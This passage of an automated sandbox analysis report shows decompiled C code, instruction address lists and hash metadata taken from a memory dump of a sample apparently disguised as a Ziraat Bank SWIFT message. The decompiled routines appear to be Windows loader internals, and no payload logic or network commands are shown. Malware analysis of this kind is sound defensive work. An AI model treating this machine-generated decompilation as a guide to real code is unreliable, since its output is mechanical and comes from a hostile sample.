											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E01292280(_t250, 0x13684d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L012B3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E0128FFB0(_t293, _t353, 0x13684d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E012B37F5(_t353, 0);
																}
																E012B0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E012A9B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E012A02D6(_t174);
																}
																L012977F0( *0x1367b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E012AC277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L0128EC7F(_t353);
										L012A19B8(_t287, 0, _t353, 0);
										_t200 = E0127F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E012BB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x136b2f8; // 0x0
									if((_t206 |  *0x136b2fc) == 0 || ( *0x136b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x136b2ec; // 0x0
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E01326B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E01326AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E0128E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L0128EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E012B9730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E0128E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L01288F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E012B3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}








































































































                                                                        0x0128d5f2
                                                                        0x0128d5f5
                                                                        0x0128d5f5
                                                                        0x0128d5fd
                                                                        0x0128d600
                                                                        0x0128d60a
                                                                        0x0128d60d
                                                                        0x0128d617
                                                                        0x0128d61d
                                                                        0x0128d627
                                                                        0x0128d62e
                                                                        0x0128d911
                                                                        0x0128d913
                                                                        0x00000000
                                                                        0x0128d919
                                                                        0x0128d919
                                                                        0x0128d919
                                                                        0x0128d634
                                                                        0x0128d634
                                                                        0x0128d634
                                                                        0x0128d634
                                                                        0x0128d640
                                                                        0x0128d8bf
                                                                        0x00000000
                                                                        0x0128d646
                                                                        0x0128d646
                                                                        0x0128d64d
                                                                        0x0128d652
                                                                        0x012db2fc
                                                                        0x012db2fc
                                                                        0x012db302
                                                                        0x012db33b
                                                                        0x012db341
                                                                        0x00000000
                                                                        0x012db304
                                                                        0x012db304
                                                                        0x012db319
                                                                        0x012db31e
                                                                        0x012db324
                                                                        0x012db326
                                                                        0x012db332
                                                                        0x012db347
                                                                        0x012db34c
                                                                        0x012db351
                                                                        0x012db35a
                                                                        0x00000000
                                                                        0x012db328
                                                                        0x012db328
                                                                        0x00000000
                                                                        0x012db328
                                                                        0x012db326
                                                                        0x0128d658
                                                                        0x0128d658
                                                                        0x0128d65b
                                                                        0x0128d665
                                                                        0x00000000
                                                                        0x0128d66b
                                                                        0x0128d66b
                                                                        0x0128d66b
                                                                        0x0128d66b
                                                                        0x0128d66d
                                                                        0x0128d672
                                                                        0x0128d67a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128d680
                                                                        0x0128d686
                                                                        0x0128d8ce
                                                                        0x0128d8d4
                                                                        0x0128d8dd
                                                                        0x0128d8e0
                                                                        0x0128d68c
                                                                        0x0128d691
                                                                        0x0128d69d
                                                                        0x0128d6a2
                                                                        0x0128d6a7
                                                                        0x0128d6b0
                                                                        0x0128d6b5
                                                                        0x0128d6e0
                                                                        0x0128d6b7
                                                                        0x0128d6b7
                                                                        0x0128d6b9
                                                                        0x0128d6b9
                                                                        0x0128d6bb
                                                                        0x0128d6bd
                                                                        0x0128d6ce
                                                                        0x0128d6d0
                                                                        0x0128d6d2
                                                                        0x012db363
                                                                        0x012db365
                                                                        0x00000000
                                                                        0x012db36b
                                                                        0x00000000
                                                                        0x012db36b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128d6bf
                                                                        0x0128d6bf
                                                                        0x0128d6e5
                                                                        0x0128d6e7
                                                                        0x0128d6e9
                                                                        0x0128d6ec
                                                                        0x0128d6ec
                                                                        0x0128d6ef
                                                                        0x0128d6f5
                                                                        0x0128d6f9
                                                                        0x0128d6fb
                                                                        0x0128d6fd
                                                                        0x0128d701
                                                                        0x0128d703
                                                                        0x0128d70a
                                                                        0x0128d70a
                                                                        0x0128d701
                                                                        0x0128d710
                                                                        0x0128d710
                                                                        0x0128d6c1
                                                                        0x0128d6c1
                                                                        0x0128d6c6
                                                                        0x012db36d
                                                                        0x012db36f
                                                                        0x00000000
                                                                        0x012db375
                                                                        0x012db375
                                                                        0x012db375
                                                                        0x00000000
                                                                        0x012db375
                                                                        0x00000000
                                                                        0x0128d6cc
                                                                        0x0128d6d8
                                                                        0x0128d6d8
                                                                        0x0128d6d8
                                                                        0x00000000
                                                                        0x0128d6c6
                                                                        0x0128d6bf
                                                                        0x00000000
                                                                        0x0128d6da
                                                                        0x0128d6da
                                                                        0x0128d716
                                                                        0x0128d71b
                                                                        0x0128d720
                                                                        0x0128d726
                                                                        0x0128d726
                                                                        0x0128d72d
                                                                        0x00000000
                                                                        0x0128d733
                                                                        0x0128d739
                                                                        0x0128d742
                                                                        0x0128d750
                                                                        0x0128d758
                                                                        0x0128d764
                                                                        0x0128d776
                                                                        0x0128d77a
                                                                        0x0128d783
                                                                        0x0128d928
                                                                        0x0128d92c
                                                                        0x0128d93d
                                                                        0x0128d944
                                                                        0x0128d94f
                                                                        0x0128d954
                                                                        0x0128d956
                                                                        0x0128d95f
                                                                        0x0128d961
                                                                        0x0128d973
                                                                        0x0128d973
                                                                        0x0128d956
                                                                        0x0128d944
                                                                        0x0128d92c
                                                                        0x0128d78b
                                                                        0x012db394
                                                                        0x0128d791
                                                                        0x0128d798
                                                                        0x012db3a3
                                                                        0x012db3bb
                                                                        0x012db3bb
                                                                        0x0128d7a5
                                                                        0x0128d866
                                                                        0x0128d870
                                                                        0x0128d884
                                                                        0x0128d892
                                                                        0x0128d898
                                                                        0x0128d89e
                                                                        0x0128d8a0
                                                                        0x0128d8a6
                                                                        0x0128d8ac
                                                                        0x0128d8ae
                                                                        0x0128d8b4
                                                                        0x0128d8b4
                                                                        0x0128d8ae
                                                                        0x0128d7a5
                                                                        0x0128d78b
                                                                        0x0128d7b1
                                                                        0x012db3c5
                                                                        0x012db3c5
                                                                        0x0128d7c3
                                                                        0x0128d7ca
                                                                        0x0128d7e5
                                                                        0x0128d7eb
                                                                        0x0128d8eb
                                                                        0x0128d8ed
                                                                        0x00000000
                                                                        0x0128d8f3
                                                                        0x0128d8f3
                                                                        0x0128d8f3
                                                                        0x00000000
                                                                        0x0128d8ed
                                                                        0x0128d7cc
                                                                        0x0128d7cc
                                                                        0x0128d7d2
                                                                        0x00000000
                                                                        0x0128d7d4
                                                                        0x0128d7d4
                                                                        0x0128d7d7
                                                                        0x0128d7df
                                                                        0x012db3d4
                                                                        0x012db3d9
                                                                        0x012db3dc
                                                                        0x012db3dc
                                                                        0x012db3df
                                                                        0x012db3e2
                                                                        0x012db468
                                                                        0x012db46d
                                                                        0x012db46f
                                                                        0x012db46f
                                                                        0x012db475
                                                                        0x0128d8f8
                                                                        0x0128d8f9
                                                                        0x0128d8fd
                                                                        0x012db3e8
                                                                        0x012db3e8
                                                                        0x012db3eb
                                                                        0x012db3ed
                                                                        0x00000000
                                                                        0x012db3ef
                                                                        0x012db3ef
                                                                        0x012db3f1
                                                                        0x012db3f4
                                                                        0x012db3fe
                                                                        0x012db404
                                                                        0x012db409
                                                                        0x012db40e
                                                                        0x012db410
                                                                        0x012db410
                                                                        0x012db414
                                                                        0x012db414
                                                                        0x012db41b
                                                                        0x012db420
                                                                        0x012db423
                                                                        0x012db425
                                                                        0x012db427
                                                                        0x012db42a
                                                                        0x012db42d
                                                                        0x012db42d
                                                                        0x012db42a
                                                                        0x012db432
                                                                        0x012db436
                                                                        0x012db438
                                                                        0x012db43b
                                                                        0x012db43b
                                                                        0x012db449
                                                                        0x012db44e
                                                                        0x012db454
                                                                        0x012db458
                                                                        0x012db458
                                                                        0x012db45d
                                                                        0x00000000
                                                                        0x012db45d
                                                                        0x012db3ed
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128d7df
                                                                        0x0128d7d2
                                                                        0x0128d7ca
                                                                        0x012db37c
                                                                        0x012db37e
                                                                        0x012db385
                                                                        0x012db38a
                                                                        0x00000000
                                                                        0x012db38a
                                                                        0x0128d742
                                                                        0x0128d7f1
                                                                        0x0128d7f8
                                                                        0x012db49b
                                                                        0x012db49b
                                                                        0x0128d800
                                                                        0x0128d837
                                                                        0x0128d843
                                                                        0x0128d845
                                                                        0x0128d847
                                                                        0x0128d84a
                                                                        0x0128d84b
                                                                        0x0128d84e
                                                                        0x0128d857
                                                                        0x0128d802
                                                                        0x0128d802
                                                                        0x0128d80d
                                                                        0x00000000
                                                                        0x0128d818
                                                                        0x0128d818
                                                                        0x0128d824
                                                                        0x0128d831
                                                                        0x012db4a5
                                                                        0x012db4ab
                                                                        0x012db4b3
                                                                        0x012db4b8
                                                                        0x012db4bb
                                                                        0x00000000
                                                                        0x012db4c1
                                                                        0x012db4c1
                                                                        0x012db4c8
                                                                        0x00000000
                                                                        0x012db4ce
                                                                        0x012db4d4
                                                                        0x012db4e1
                                                                        0x012db4e3
                                                                        0x012db4e5
                                                                        0x00000000
                                                                        0x012db4eb
                                                                        0x012db4f0
                                                                        0x012db4f2
                                                                        0x0128dac9
                                                                        0x0128dacc
                                                                        0x0128dacf
                                                                        0x0128dad1
                                                                        0x0128dd78
                                                                        0x0128dd78
                                                                        0x0128dcf2
                                                                        0x00000000
                                                                        0x0128dad7
                                                                        0x0128dad9
                                                                        0x0128dadb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128dae1
                                                                        0x0128dae1
                                                                        0x0128dae4
                                                                        0x0128dae6
                                                                        0x012db4f9
                                                                        0x012db4f9
                                                                        0x012db500
                                                                        0x0128daec
                                                                        0x0128daec
                                                                        0x0128daf5
                                                                        0x0128daf8
                                                                        0x0128dafb
                                                                        0x0128db03
                                                                        0x0128db11
                                                                        0x0128db16
                                                                        0x0128db19
                                                                        0x0128db1b
                                                                        0x012db52c
                                                                        0x012db531
                                                                        0x012db534
                                                                        0x0128db21
                                                                        0x0128db21
                                                                        0x0128db24
                                                                        0x0128dcd9
                                                                        0x0128dce2
                                                                        0x0128dce5
                                                                        0x0128dd6a
                                                                        0x0128dd6d
                                                                        0x00000000
                                                                        0x0128dd73
                                                                        0x012db51a
                                                                        0x012db51c
                                                                        0x012db51f
                                                                        0x012db524
                                                                        0x00000000
                                                                        0x012db524
                                                                        0x0128dce7
                                                                        0x0128dce7
                                                                        0x0128dce7
                                                                        0x00000000
                                                                        0x0128dce7
                                                                        0x00000000
                                                                        0x0128db2a
                                                                        0x0128db2c
                                                                        0x0128db31
                                                                        0x0128db33
                                                                        0x0128db36
                                                                        0x0128db39
                                                                        0x0128db3b
                                                                        0x0128db66
                                                                        0x0128db66
                                                                        0x0128db3d
                                                                        0x0128db3d
                                                                        0x0128db3e
                                                                        0x0128db46
                                                                        0x0128db47
                                                                        0x0128db49
                                                                        0x0128db4c
                                                                        0x0128db53
                                                                        0x0128db55
                                                                        0x0128db58
                                                                        0x0128db5a
                                                                        0x012db50a
                                                                        0x012db50f
                                                                        0x012db512
                                                                        0x0128db60
                                                                        0x0128db60
                                                                        0x0128db63
                                                                        0x0128db63
                                                                        0x00000000
                                                                        0x0128db63
                                                                        0x0128db5a
                                                                        0x0128db3b
                                                                        0x0128db24
                                                                        0x0128db69
                                                                        0x0128db69
                                                                        0x0128db6c
                                                                        0x0128db6f
                                                                        0x0128db74
                                                                        0x012db557
                                                                        0x012db557
                                                                        0x012db55e
                                                                        0x0128db7a
                                                                        0x0128db7c
                                                                        0x0128db7f
                                                                        0x0128db82
                                                                        0x0128db85
                                                                        0x00000000
                                                                        0x0128db8b
                                                                        0x0128db8b
                                                                        0x0128db8d
                                                                        0x0128db9b
                                                                        0x0128db9b
                                                                        0x0128db9d
                                                                        0x0128dba0
                                                                        0x0128dba2
                                                                        0x0128dba4
                                                                        0x0128dba7
                                                                        0x0128dba9
                                                                        0x0128dbae
                                                                        0x0128dbae
                                                                        0x0128dbb1
                                                                        0x0128dbb4
                                                                        0x0128dbb4
                                                                        0x0128dbb7
                                                                        0x0128dbba
                                                                        0x0128dcd2
                                                                        0x0128dcd4
                                                                        0x00000000
                                                                        0x0128dbc0
                                                                        0x0128dbc0
                                                                        0x0128dbd2
                                                                        0x0128dbd7
                                                                        0x0128dbda
                                                                        0x0128dbdd
                                                                        0x0128dbdf
                                                                        0x00000000
                                                                        0x0128dbe5
                                                                        0x0128dbe5
                                                                        0x0128dbee
                                                                        0x0128dbf1
                                                                        0x012db541
                                                                        0x012db544
                                                                        0x00000000
                                                                        0x012db546
                                                                        0x012db546
                                                                        0x00000000
                                                                        0x012db546
                                                                        0x0128dbf7
                                                                        0x0128dbf7
                                                                        0x0128dbfd
                                                                        0x0128dbfd
                                                                        0x0128dbff
                                                                        0x0128dc0b
                                                                        0x0128dc15
                                                                        0x0128dc1b
                                                                        0x0128dc1d
                                                                        0x0128dc21
                                                                        0x0128dc21
                                                                        0x0128dc23
                                                                        0x0128dc23
                                                                        0x0128dc26
                                                                        0x0128dc29
                                                                        0x0128dc2b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128dc31
                                                                        0x0128dc34
                                                                        0x0128dc36
                                                                        0x0128dcbf
                                                                        0x0128dcbf
                                                                        0x0128dcc2
                                                                        0x00000000
                                                                        0x0128dc3c
                                                                        0x0128dc41
                                                                        0x0128dc43
                                                                        0x00000000
                                                                        0x0128dc45
                                                                        0x0128dc45
                                                                        0x0128dc47
                                                                        0x00000000
                                                                        0x0128dc4d
                                                                        0x0128dc4d
                                                                        0x0128dc50
                                                                        0x0128dc52
                                                                        0x0128dc55
                                                                        0x0128dcfa
                                                                        0x0128dcfe
                                                                        0x0128dd08
                                                                        0x0128dd0a
                                                                        0x0128dd0c
                                                                        0x00000000
                                                                        0x0128dd12
                                                                        0x0128dd15
                                                                        0x0128dd2d
                                                                        0x0128dd2f
                                                                        0x0128dd32
                                                                        0x0128dd35
                                                                        0x00000000
                                                                        0x0128dd35
                                                                        0x0128dc5b
                                                                        0x0128dc5b
                                                                        0x0128dc5e
                                                                        0x0128dc61
                                                                        0x0128dc64
                                                                        0x0128dc67
                                                                        0x0128dc67
                                                                        0x0128dc6a
                                                                        0x0128dc6c
                                                                        0x0128dc8e
                                                                        0x0128dc8e
                                                                        0x0128dc91
                                                                        0x0128dc93
                                                                        0x0128dcce
                                                                        0x0128dcce
                                                                        0x0128dc95
                                                                        0x0128dc9c
                                                                        0x0128dc6e
                                                                        0x0128dc72
                                                                        0x0128dc75
                                                                        0x0128dc77
                                                                        0x0128dc79
                                                                        0x012db551
                                                                        0x012db551
                                                                        0x00000000
                                                                        0x0128dc7f
                                                                        0x0128dc7f
                                                                        0x0128dc81
                                                                        0x00000000
                                                                        0x0128dc83
                                                                        0x0128dc86
                                                                        0x0128dc88
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128dc88
                                                                        0x0128dc81
                                                                        0x0128dc79
                                                                        0x0128dc6c
                                                                        0x0128dc55
                                                                        0x0128dc47
                                                                        0x0128dc43
                                                                        0x00000000
                                                                        0x0128dc36
                                                                        0x0128dc23
                                                                        0x00000000
                                                                        0x0128dbff
                                                                        0x0128dbf1
                                                                        0x0128dbdf
                                                                        0x0128db8f
                                                                        0x0128db92
                                                                        0x0128db95
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128db95
                                                                        0x0128db8d
                                                                        0x0128db85
                                                                        0x0128db74
                                                                        0x0128dc9f
                                                                        0x0128dca2
                                                                        0x0128dcb0
                                                                        0x0128dcb0
                                                                        0x0128dad1
                                                                        0x012db4e5
                                                                        0x012db4c8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128d831
                                                                        0x0128d80d
                                                                        0x00000000
                                                                        0x0128d800
                                                                        0x012db47f
                                                                        0x012db485
                                                                        0x00000000
                                                                        0x012db485
                                                                        0x0128d665
                                                                        0x0128d652
                                                                        0x00000000

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID:
                                                                        • API String ID: 3446177414-0
                                                                        • Opcode ID: f4123651d602b93ce376a32c88f11f1573ca39103f91244edf65c5318152cbe2
                                                                        • Instruction ID: 852eb1414fb988eea02d8c7351ac9e0d9361b1f786a73f0d21f4bee5499cf746
                                                                        • Opcode Fuzzy Hash: f4123651d602b93ce376a32c88f11f1573ca39103f91244edf65c5318152cbe2
                                                                        • Instruction Fuzzy Hash: 58E1F230A2235ECFEB25EF68C850BB9B7B5BF46308F0541A9DA09972D1DB709985CF41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A513A Relevance: 1.8, APIs: 1, Instructions: 258timeCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 67%
                                                                        			E012A513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x136d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E012BD0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
